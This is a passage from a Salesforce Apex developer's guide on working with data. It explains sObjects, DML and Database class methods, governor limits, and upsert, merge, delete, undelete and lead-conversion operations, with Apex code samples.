Retrieving Data
and query languages used to retrieve data, such as the (), among other things. This chapter also explains
the use of custom settings in Apex.
•DML
•SOQL and SOSL
Queries
•SOQL For Loops
•sObject Collections
•Dynamic Apex
•Apex Security and
Sharing
•Custom Settings
111
sObject Types
In this developer's guide, the term sObject refers to any object that can be stored in the Force.com platform database. An sObject
variable represents a row of data and can only be declared in Apex using the SOAP API name of the object. For example:
Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();
Similar to the SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be
used in code that processes different types of sObjects.
The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
sObject s = new Account();
You can also use casting between the generic sObject type and the specific sObject type. For example:
// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;
Because sObjects work like objects, you can also have the following:
Object obj = s;
// and
a = (Account)obj;
DML operations work on variables declared as the generic sObject data type as well as with regular sObjects.
sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Account a = new Account();
Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject. For
example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');
For information on accessing existing sObjects from the Force.com platform database, see “SOQL and SOSL Queries” in the Force.com
SOQL and SOSL Reference.
Note: The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared during a clone
operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically when an object record is
initially inserted to the database for the first time. For more information see Lists on page 30.
Custom Labels
Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value of a custom
label using system.label.label_name. For example:
String errorMsg = System.Label.generic_error;
For more information on custom labels, see “Custom Labels” in the Salesforce online help.
112
sObject TypesWorking with Data in Apex
Accessing sObject Fields
As in Java, sObject fields can be accessed or changed with simple dot notation. For example:
Account a = new Account();
a.Name = 'Acme';// Access the account name field and assign it 'Acme'
System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime
engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be
changed.
If you use the generic sObject type instead of a specific object, such as Account, you can retrieve only the Id field using dot notation.
You can set the Id field for Apex code saved using Salesforce API version 27.0 and later). Alternatively, you can use the generic sObject
put and get methods. See sObject Class.
This example shows how you can access the Id field and operations that aren’t allowed on generic sObjects.
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;
Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person
accounts. If your code creates a new account using name, a business account is created. If your code uses LastName, a person
account is created.
If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);
The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted
the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
public class convertToCLA {
List<Contact> contacts;
List<Lead> leads;
List<Account> accounts;
public void convertType(Integer phoneNumber) {
List<List<sObject>> results = [FIND '4155557000'
IN Phone FIELDS
RETURNING Contact(Id, Phone, FirstName, LastName),
Lead(Id, Phone, FirstName, LastName), Account(Id, Phone, Name)];
sObject[] records = ((List<sObject>)results[0]);
113
Accessing sObject FieldsWorking with Data in Apex
if (!records.isEmpty()) {
for (Integer i = 0; i < records.size(); i++) {
sObject record = records[i];
if (record.getSObjectType() == Contact.sObjectType) {
contacts.add((Contact) record);
}else if (record.getSObjectType() == Lead.sObjectType){
leads.add((Lead) record);
}else if (record.getSObjectType() == Account.sObjectType) {
accounts.add((Account) record);
}
}
}
}
}
Validating sObjects and Fields
When Apex code is parsed and validated, all sObject and field references are validated against actual object and field names, and a
parse-time exception is thrown when an invalid name is used.
In addition, the Apex parser tracks the custom objects and fields that are used, both in the code's syntax as well as in embedded SOQL
and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause Apex
code to become invalid:
•Changing a field or object name
•Converting from one data type to another
•Deleting a field or object
•Making certain organization-wide changes, such as record sharing, field history tracking, or record types
Adding and Retrieving Data
Apex is tightly integrated with the Force.com platform persistence layer. Records in the database can be inserted and manipulated
through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database is the
Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations—querying records, DML is
used for write operations.
Before inserting or manipulating records, record data is created in memory as sObjects. The sObject data type is a generic data type and
corresponds to the data type of the variable that will hold the record data. There are specific data types, subtyped from the sObject data
type, which correspond to data types of standard object records, such as Account or Contact, and custom objects, such as
Invoice_Statement__c. Typically, you will work with these specific sObject data types. But sometimes, when you don’t know the type
of the sObject in advance, you can work with the generic sObject data type. This is an example of how you can create a new specific
Account sObject and assign it to a variable.
Account a = new Account(Name='Account Example');
114
Validating sObjects and FieldsWorking with Data in Apex
In the previous example, the account referenced by the variable a exists in memory with the required Name field. However, it is not
persisted yet to the Force.com platform persistence layer. You need to call DML statements to persist sObjects to the database. Here is
an example of creating and persisting this account using the insert statement.
Account a = new Account(Name='Account Example');
insert a;
Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record updates,
deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records, you get sObject
instances that you can modify and then persist the changes of. This is an example of querying for an existing record that has been
previously persisted, updating a couple of fields on the sObject representation of this record in memory, and then persisting this change
to the database.
// Query existing account.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account Example' LIMIT 1];
// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry);// Industry is not set
// Modify the two fields on the sObject.
a.Name = 'Account of the Day';
a.Industry = 'Technology';
// Persist the changes.
update a;
// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account of the Day' LIMIT 1];
// Verify that updated field values were persisted.
System.assertEquals('Account of the Day', a.Name);
System.assertEquals('Technology', a.Industry);
DML
DML Statements vs. Database Class Methods
Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how you
perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your code.
This is an example of a DML statement to insert a new record.
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));
115
DMLWorking with Data in Apex
// DML statement
insert acctList;
This is an equivalent example to the previous one but it uses a method of the Database class instead of the DML verb.
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));
// DML statement
Database.SaveResult[] srList = Database.insert(acctList, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully inserted account. Account ID: ' + sr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}
One difference between the two options is that by using the Database class method, you can specify whether or not to allow for partial
record processing if errors are encountered. You can do so by passing an additional second Boolean parameter. If you specify false
for this parameter and if a record fails, the remainder of DML operations can still succeed. Also, instead of exceptions, a result object
array (or one result object if only one sObject was passed in) is returned containing the status of each operation and any errors encountered.
By default, this optional parameter is true, which means that if at least one sObject can’t be processed, all remaining sObjects won’t
and an exception will be thrown for the record that causes a failure.
The following helps you decide when you want to use DML statements or Database class methods.
•Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately
interrupts control flow (by using try...catch blocks). This behavior is similar to the way exceptions are handled in most
database procedural languages.
•Use Database class methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder of the DML
operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this
form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge
success or failure. Note that Database methods also include a syntax that supports thrown exceptions, similar to DML statements.
Note: Most operations overlap between the two, except for a few.
•The convertLead operation is only available as a Database class method, not as a DML statement.
•The Database class also provides methods not available as DML statements, such as methods transaction control and rollback,
emptying the Recycle Bin, and methods related to SOQL queries.
116
DML Statements vs. Database Class MethodsWorking with Data in Apex
DML Operations As Atomic Transactions
DML operations execute within a transaction. All DML operations in a transaction either complete successfully, or if an error occurs in
one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a
trigger, a class method, an anonymous block of code, an Apex page, or a custom Web service method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies to calls that are made
from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction
boundary. For example, consider the following chain of operations: a custom Apex Web service method calls a method in a class that
performs some DML operations. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isn’t committed.
How DML Works
Single vs. Bulk DML Operations
You can perform DML operations either on a single sObject, or in bulk on a list of sObjects. Performing bulk DML operations is the
recommended way because it helps avoid hitting governor limits, such as the DML limit of 150 statements per Apex transaction. This
limit is in place to ensure fair access to shared resources in the Force.com multitenant platform. Performing a DML operation on a list of
sObjects counts as one DML statement for all sObjects in the list, as opposed to one statement for each sObject.
This is an example of performing DML calls on single sObjects, which is not efficient.
The for loop iterates over contacts, and for each contact, it sets a new value for the Description__c field if the department field matches
a certain value. If the list contains more than 150 items, the 151st update call returns an exception that can’t be caught for exceeding
the DML statement limit of 150.
for(Contact badCon : conList) {
if (badCon.Department = 'Finance') {
badCon.Description__c = 'New description';
}
// Not a good practice since governor limits might be hit.
update badCon;
}
This is a modified version of the previous example that doesn’t hit the governor limit. It bulkifies DML operations by calling update
on a list of contacts. This counts as one DML statement, which is far below the limit of 150.
// List to hold the new contacts to update.
List<Contact> updatedList = new List<Contact>();
for(Contact con : conList) {
if (con.Department == 'Finance') {
con.Description = 'New description';
// Add updated contact sObject to the list.
updatedList.add(con);
}
}
// Call update on the list of contacts.
// This results in one DML call for the entire list.
update updatedList;
117
DML Operations As Atomic TransactionsWorking with Data in Apex
The other governor limit that affects DML operations is the total number of 10,000 rows that can be processed by DML operations in a
single transaction. All rows processed by all DML calls in the same transaction count incrementally toward this limit. For example, if you
insert 100 contacts and update 50 contacts in the same transaction, your total DML processed rows are 150 and you still have 9,850 rows
left (10,000 - 150).
System Context and Sharing Rules
Most DML operations execute in system context, ignoring the current user's permissions, field-level security, organization-wide defaults,
position in the role hierarchy, and sharing rules. For more information, see Enforcing Sharing Rules.
Note that if you execute DML operations within an anonymous block, they will execute using the current user’s object and field-level
permissions.
DML Operations
Inserting and Updating Records
Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing records.
This example shows how to insert three account records and update an existing account record. First, it creates three Account sObjects
and adds them to a list. It then performs a bulk insertion by inserting the list of accounts using one insert statement. Next, it queries
the second account record, updates the billing city, and calls the update statement to persist the change in the database.
Account[] accts = new List<Account>();
for(Integer i=0;i<3;i++) {
Account a = new Account(Name='Acme' + i,
BillingCity='San Francisco');
accts.add(a);
}
Account accountToUpdate;
try {
insert accts;
// Update account Acme2.
accountToUpdate =
[SELECT BillingCity FROM Account
WHERE Name='Acme2' AND BillingCity='San Francisco'
LIMIT 1];
// Update the billing city.
accountToUpdate.BillingCity = 'New York';
// Make the update call.
update accountToUpdate;
}catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Verify that the billing city was updated to New York.
Account afterUpdate =
[SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id];
System.assertEquals('New York', afterUpdate.BillingCity);
118
DML OperationsWorking with Data in Apex
Inserting Related Records
You can insert records related to existing records if a relationship has already been defined between the two objects, such as a lookup
or master-detail relationship. A record is associated with a related record through a foreign key ID. You can only set this foreign key ID
on the master record. For example, if inserting a new contact, you can specify the contact's related account record by setting the value
of the AccountId field.
This example shows how to add a contact to an account (the related record) by setting the AccountId field on the contact. Contact
and Account are linked through a lookup relationship.
try {
Account acct = new Account(Name='SFDC Account');
insert acct;
// Once the account is inserted, the sObject will be
// populated with an ID.
// Get this ID.
ID acctID = acct.ID;
// Add a contact to this account.
Contact con = new Contact(
FirstName='Joe',
LastName='Smith',
Phone='415.555.1212',
AccountId=acctID);
insert con;
}catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
Updating Related Records
Fields on related records can't be updated with the same call to the DML operation and require a separate DML call. For example, if
inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId field. However,
you can't change the account's name without updating the account itself with a separate DML call. Similarly, when updating a contact,
if you also want to update the contact’s related account, you must make two DML calls. The following example updates a contact and
its related account using two update statements.
try {
// Query for the contact, which has been associated with an account.
Contact queriedContact = [SELECT Account.Name
FROM Contact
WHERE FirstName = 'Joe' AND LastName='Smith'
LIMIT 1];
// Update the contact's phone number
queriedContact.Phone = '415.555.1213';
// Update the related account industry
queriedContact.Account.Industry = 'Technology';
// Make two separate calls
// 1. This call is to update the contact's phone.
update queriedContact;
119
DML OperationsWorking with Data in Apex
// 2. This call is to update the related account's Industry field.
update queriedContact.Account;
}catch(Exception e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
Relating Records by Using an External ID
Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an
alternative to using the record ID. You can add a related record to another record only if a relationship has been defined for the objects
involved, such as a master-detail or lookup relationship.
To relate a record to its parent record with an external ID, the parent object must have a custom field marked as External ID. Create the
parent sObject with an external ID value, and then set this record as a nested sObject on the record you want to link.
This example shows how to relate a new opportunity to an existing account. The account has an external ID field, named MyExtID,
of type text. Before the new opportunity is inserted, the Account record is added to this opportunity as a nested sObject through the
Opportunity.Account relationship field. The Account sObject contains only the external ID field.
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=Date.today().addDays(7));
// Create the parent record reference.
// An account with this external ID value already exists.
// This sObject is used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');
// Add the nested account sObject to the opportunity.
newOpportunity.Account = accountReference;
// Create the opportunity.
Database.SaveResult results = Database.insert(newOpportunity);
The previous sample performs an insert operation, but you can also relate sObjects through external ID fields when performing updates
or upserts. If the parent record doesn’t exist, you can create it with a separate DML statement or by using the same DML statement as
shown in Creating Parent and Child Records in a Single Statement Using Foreign Keys.
Creating Parent and Child Records in a Single Statement Using Foreign Keys
You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step instead of
creating the parent record first, querying its ID, and then creating the child record. To do this:
•Create the child sObject and populate its required fields, and optionally other fields.
•Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject has only
the external ID field defined and no other fields set.
•Set the foreign key field of the child sObject to the parent reference sObject you just created.
•Create another parent sObject to be passed to the insert statement. This sObject must have the required fields (and optionally
other fields) set in addition to the external ID field.
120
DML OperationsWorking with Data in Apex
•Call insert by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array, that is,
the array index of the parent must be lower than the child’s index.
You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different sObject
types. For more information, see Creating Records for Different Object Types in the SOAP API Developer's Guide.
The following example shows how to create an opportunity with a parent account using the same insert statement. The example
creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account is only for the foreign
key relationship, and the second is for the account creation and has the account fields set. Both accounts have the external ID field,
MyExtID__c, set. Next, the sample calls Database.insert by passing it an array of sObjects. The first element in the array is
the parent sObject and the second is the opportunity sObject. The Database.insert statement creates the opportunity with its
parent account in a single step. Finally, the sample checks the results and writes the IDs of the created records to the debug log, or the
first error if record creation fails. This sample requires an external ID text field on Account called MyExtID.
public class ParentChildSample {
public static void InsertParentChild() {
Date dt = Date.today();
dt = dt.addDays(7);
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=dt);
// Create the parent reference.
// Used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');
newOpportunity.Account = accountReference;
// Create the Account object to insert.
// Same as above but has Name field.
// Used for the insert.
Account parentAccount = new Account(
Name='Hallie',
MyExtID__c='SAP111111');
// Create the account and the opportunity.
Database.SaveResult[] results = Database.insert(new SObject[] {
parentAccount, newOpportunity });
// Check results.
for (Integer i = 0; i < results.size(); i++) {
if (results[i].isSuccess()) {
System.debug('Successfully created ID: '
+ results[i].getId());
}else {
System.debug('Error: could not create sobject '
+'for array element ' +i+'.');
System.debug(' The error reported was: '
+ results[i].getErrors()[0].getMessage() + '\n');
}
}
}
}
121
DML OperationsWorking with Data in Apex
Upserting Records
Using the upsert operation, you can either insert or update an existing record in one call. To determine whether a record already
exists, the upsert statement or Database method uses the record’s ID as the key to match records, a custom external ID field, or a
standard field with the idLookup attribute set to true.
•If the key is not matched, then a new object record is created.
•If the key is matched once, then the existing object record is updated.
•If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated.
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate
values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.”
For more information, see Create Custom Fields.
Examples
The following example updates the city name for all existing accounts located in the city formerly known as Bombay, and also inserts a
new account located in San Francisco:
Account[] acctsList = [SELECT Id, Name, BillingCity
FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
a.BillingCity = 'Mumbai';
}
Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');
acctsList.add(newAcct);
try {
upsert acctsList;
}catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
This next example uses the Database.upsert method to upsert a collection of leads that are passed in. This example allows for
partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated. It iterates
through the results and adds a new task to each record that was processed successfully. The task sObjects are saved in a list, which is
then bulk inserted. This example is followed by a test class that contains a test method for testing the example.
/* This class demonstrates and tests the use of the
* partial processing DML operations */
public class DmlSamples {
/* This method accepts a collection of lead records and
creates a task for the owner(s) of any leads that were
created as new, that is, not updated as a result of the upsert
operation */
public static List<Database.upsertResult> upsertLeads(List<Lead> leads) {
/* Perform the upsert. In this case the unique identifier for the
insert or update decision is the Salesforce record ID. If the
record ID is null the row will be inserted, otherwise an update
will be attempted. */
122
DML OperationsWorking with Data in Apex
List<Database.upsertResult> uResults = Database.upsert(leads,false);
/* This is the list for new tasks that will be inserted when new
leads are created. */
List<Task> tasks = new List<Task>();
for(Database.upsertResult result:uResults) {
if (result.isSuccess() && result.isCreated())
tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
}
/* If there are tasks to be inserted, insert them */
Database.insert(tasks);
return uResults;
}
}
@isTest
private class DmlSamplesTest {
public static testMethod void testUpsertLeads() {
/* We only need to test the insert side of upsert */
List<Lead> leads = new List<Lead>();
/* Create a set of leads for testing */
for(Integer i = 0;i < 100; i++) {
leads.add(new Lead(LastName = 'testLead', Company = 'testCompany'));
}
/* Switch to the runtime limit context */
Test.startTest();
/* Exercise the method */
List<Database.upsertResult> results = DmlSamples.upsertLeads(leads);
/* Switch back to the test context for limits */
Test.stopTest();
/* ID set for asserting the tasks were created as expected */
Set<Id> ids = new Set<Id>();
/* Iterate over the results, asserting success and adding the new ID
to the set for use in the comprehensive assertion phase below. */
for(Database.upsertResult result:results) {
System.assert(result.isSuccess());
ids.add(result.getId());
}
/* Assert that exactly one task exists for each lead that was inserted. */
for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
System.assertEquals(1,l.tasks.size());
}
}
}
123
DML OperationsWorking with Data in Apex
Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor
limits (see Execution Governors and Limits). This next example uses upsert and an external ID field Line_Item_Id__c on the
Asset object to maintain a one-to-one relationship between an asset and an opportunity line item.
Note: Before running this sample, create a custom text field on the Asset object named Line_Item_Id__c and mark it as
an external ID. For information on custom fields, see the Salesforce online help.
public void upsertExample() {
Opportunity opp = [SELECT Id, Name, AccountId,
(SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name
FROM OpportunityLineItems)
FROM Opportunity
WHERE HasOpportunityLineItem = true
LIMIT 1];
Asset[] assets = new Asset[]{};
// Create an asset for each line item on the opportunity
for (OpportunityLineItem lineItem:opp.OpportunityLineItems) {
//This code populates the line item Id, AccountId, and Product2Id for each asset
Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
Line_Item_ID__c = lineItem.Id,
AccountId = opp.AccountId,
Product2Id = lineItem.PricebookEntry.Product2Id);
assets.add(asset);
}
try {
upsert assets Line_Item_ID__c; // This line upserts the assets list with
// the Line_Item_Id__c field specified as the
// Asset field that should be used for matching
// the record that should be upserted.
}catch (DmlException e) {
System.debug(e.getMessage());
}
}
Merging Records
When you have duplicate lead, contact, or account records in the database, cleaning up your data and consolidating the records might
be a good idea. You can merge up to three records of the same sObject type. The merge operation merges up to three records into
one of the records, deletes the others, and reparents any related records.
Example
The following shows how to merge an existing Account record into a master account. The account to merge has a related contact, which
is moved to the master account record after the merge operation. Also, after merging, the merge record is deleted and only one record
remains in the database. This examples starts by creating a list of two accounts and inserts the list. Then it executes queries to get the
124
DML OperationsWorking with Data in Apex
new account records from the database, and adds a contact to the account to be merged. Next, it merges the two accounts. Finally, it
verifies that the contact has been moved to the master account and the second account has been deleted.
// Insert new accounts
List<Account> ls = new List<Account>{
new Account(name='Acme Inc.'),
new Account(name='Acme')
};
insert ls;
// Queries to get the inserted accounts
Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// Add a contact to the account to be merged
Contact c = new Contact(FirstName='Joe',LastName='Merged');
c.AccountId = mergeAcct.Id;
insert c;
try {
merge masterAcct mergeAcct;
}catch (DmlException e) {
// Process exception
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Once the account is merged with the master account,
// the related contact should be moved to the master record.
masterAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts)
FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
System.assert(masterAcct.getSObjects('Contacts').size() > 0);
System.assertEquals('Joe', masterAcct.getSObjects('Contacts')[0].get('FirstName'));
System.assertEquals('Merged', masterAcct.getSObjects('Contacts')[0].get('LastName'));
// Verify that the merge record got deleted
Account[] result = [SELECT Id, Name FROM Account WHERE Id=:mergeAcct.Id];
System.assertEquals(0, result.size());
This second example is similar to the previous except that it uses the Database.merge method (instead of the merge statement).
The last argument of Database.merge is set to false to have any errors encountered in this operation returned in the merge
result instead of getting exceptions. The example merges two accounts into the master account and retrieves the returned results. The
example creates a master account and two duplicates, one of which has a child contact. It verifies that after the merge the contact is
moved to the master account.
// Create master account
Account master = new Account(Name='Account1');
insert master;
// Create duplicate accounts
Account[] duplicates = new Account[]{
// Duplicate account
new Account(Name='Account1, Inc.'),
// Second duplicate account
new Account(Name='Account 1')
};
125
DML OperationsWorking with Data in Apex
insert duplicates;
// Create child contact and associate it with first account
Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id);
insert c;
// Get the account contact relation ID, which is created when a contact is created on
"Account1, Inc."
AccountContactRelation resultAcrel = [SELECT Id FROM AccountContactRelation WHERE
ContactId=:c.Id LIMIT 1];
// Merge accounts into master
Database.MergeResult[] results = Database.merge(master, duplicates, false);
for(Database.MergeResult res : results) {
if (res.isSuccess()) {
// Get the master ID from the result and validate it
System.debug('Master record ID: ' + res.getId());
System.assertEquals(master.Id, res.getId());
// Get the IDs of the merged records and display them
List<Id> mergedIds = res.getMergedRecordIds();
System.debug('IDs of merged records: ' + mergedIds);
// Get the ID of the reparented record and
// validate that this the contact ID.
System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds());
// Make sure there are two IDs (contact ID and account contact relation ID); the order
isn't defined
System.assertEquals(2, res.getUpdatedRelatedIds().size() );
boolean flag1 = false;
boolean flag2 = false;
// Because the order of the IDs isn't defined, the ID can be at index 0 or 1 of the
array
if (resultAcrel.id == res.getUpdatedRelatedIds()[0] || resultAcrel.id ==
res.getUpdatedRelatedIds()[1] )
flag1 = true;
if (c.id == res.getUpdatedRelatedIds()[0] || c.id == res.getUpdatedRelatedIds()[1]
)
flag2 = true;
System.assertEquals(flag1, true);
System.assertEquals(flag2, true);
}
else {
for(Database.Error err : res.getErrors()) {
126
DML OperationsWorking with Data in Apex
// Write each error to the debug output
System.debug(err.getMessage());
}
}
}
Merge Considerations
When merging sObject records, consider the following rules and guidelines:
•Only leads, contacts, and accounts can be merged. See sObjects That Don’t Support DML Operations on page 139.
•You can pass a master record and up to two additional sObject records to a single merge method.
•Using the Apex merge operation, field values on the master record always supersede the corresponding field values on the records
to be merged. To preserve a merged record field value, simply set this field value on the master sObject before performing the merge.
•External ID fields can’t be used with merge.
For more information on merging leads, contacts and accounts, see the Salesforce online help.
Deleting Records
After you persist records in the database, you can delete those records using the delete operation. Deleted records aren’t deleted
permanently from Force.com, but they are placed in the Recycle Bin for 15 days from where they can be restored. Restoring deleted
records is covered in a later section.
Example
The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'DotCom'];
try {
delete doomedAccts;
}catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
Referential Integrity When Deleting and Restoring Records
The delete operation supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as
each child record can be deleted.
For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution records associated
with that case. However, if a particular child record is not deletable or is currently being used, then the delete operation on the parent
case record fails.
The undelete operation restores the record associations for the following types of relationships:
•Parent accounts (as specified in the Parent Account field on an account)
•Parent cases (as specified in the Parent Case field on a case)
•Master solutions for translated solutions (as specified in the Master Solution field on a solution)
127
DML OperationsWorking with Data in Apex
•Managers of contacts (as specified in the Reports To field on a contact)
•Products related to assets (as specified in the Product field on an asset)
•Opportunities related to quotes (as specified in the Opportunity field on a quote)
•All custom lookup relationships
•Relationship group members on accounts and relationship groups, with some exceptions
•Tags
•An article's categories, publication state, and assignments
Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different
product prior to the original product record being undeleted, that asset-product relationship is not restored.
Restoring Deleted Records
After you have deleted records, the records are placed in the Recycle Bin for 15 days, after which they are permanently deleted. While
the records are still in the Recycle Bin, you can restore them using the undelete operation. This is useful, for example, if you accidentally
deleted some records that you want to keep.
Example
The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and aggregate
relationships, including deleted records and archived activities.
Account a = new Account(Name='Trump');
insert(a);
insert(new Contact(LastName='Carter',AccountId=a.Id));
delete a;
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Trump' ALL ROWS];
try {
undelete savedAccts;
}catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
Undelete Considerations
Note the following when using the undelete statement.
•You can undelete records that were deleted as the result of a merge, but the child objects will have been reparented, which cannot
be undone.
•Use the ALL ROWS parameters with a SOQL query to identify deleted records, including records deleted as a result of a merge.
•See Referential Integrity When Deleting and Restoring Records.
SEE ALSO:
Querying All Records with a SOQL Statement
128
DML OperationsWorking with Data in Apex
Converting Leads
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. convertLead
is available only as a method on the Database class; it is not available as a DML statement.
Converting leads involves the following basic steps:
1. Your application determines the IDs of any lead(s) to be converted.
2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to
search for accounts that match the lead name, as in the following example:
SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'
3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use
SOQL to search for contacts that match the lead contact name, as in the following example:
SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND
AccountId = '001...'
4. Optionally, the application determines whether opportunities should be created from the leads.
5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM
LeadStatus WHERE IsConverted='1'), and then selects a value for the converted status.
6. The application calls convertLead.
7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether
conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts cannot
be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.
Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object and sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies
that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;
Database.LeadConvert lc = new database.LeadConvert();
lc.setLeadId(myLead.id);
LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true
LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);
Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());
Convert Leads Considerations
•Field mappings: The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom
lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity fields. For more
information about field mappings, see the Salesforce online help.
